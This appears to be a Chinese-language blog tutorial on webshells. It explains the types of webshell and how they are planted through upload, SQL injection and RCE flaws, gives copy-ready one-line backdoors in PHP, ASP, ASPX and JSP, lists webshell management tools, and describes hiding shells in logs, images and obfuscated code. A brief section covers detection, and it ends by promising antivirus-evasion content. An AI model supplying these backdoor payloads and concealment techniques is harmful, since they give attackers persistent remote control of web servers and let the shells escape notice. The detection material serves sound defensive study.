介绍:
Webshell是通过服务器开放的端口获取服务器的某些权限。
webshell又称脚本木马,一般分为大马、小马、一句话木马。
大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。
小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。
一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理webshell。
原理:
利用文件上传漏洞、SQL注入漏洞、RCE漏洞等,将恶意文件放到web服务器中,也就是常说的"后门",之后可以进行文件管理、数据库管理、远程命令执行、提权等恶意操作。
常见一句话木马:
php
<?php @eval($_POST[value]); ?>
<?php assert($_POST[value]);?>
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
asp
<%eval request ("value")%>
<% execute(request("value")) %>
aspx
<%@ Page Language="Jscript" %> <% eval(Request.Item["value"]) %>
jsp
<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>
WebShell管理工具
Cknife 中国菜刀
antSword 中国蚁剑
冰蝎 动态二进制加密网站管理客户端
weevely3 Weaponized web shell
Altman the cross platform webshell tool in .NET
Webshell Sniper Manage your website via terminal
quasibot complex webshell manager, quasi-http botnet
webshell隐藏
隐藏到日志
例如,修改发送数据包的头部,添加webshell。 web服务器一般会保存访问记录到Web日志,若找到web日志,且放到可执行目录下,可能获得shell。
隐藏到合法文件
例如,文件上传漏洞中,将php代码放到jpg文件中,可以使用@运算符,以防发生任何错误。
混淆
删除空格、换行符等,导致代码文件比较乱,使用编码或加密来隐藏掉恶意函数名等。
静态检测
web日志
在对日志文件进行预处理后,对日志记录进行文本特征匹配、统计特征计算与文件关联性分析,最后对检测结果汇总,列出疑似的Webshell文件。
例如,网站目录下某php文件访问量过少,且来源ip固定。
动态检测
webshell传到服务器了,黑客总要去执行它吧,webshell执行时刻表现出来的特征,我们称为动态特征。
例如,webshell如果执行系统命令的话,会有进程。
后续会更新webshell的免杀内容!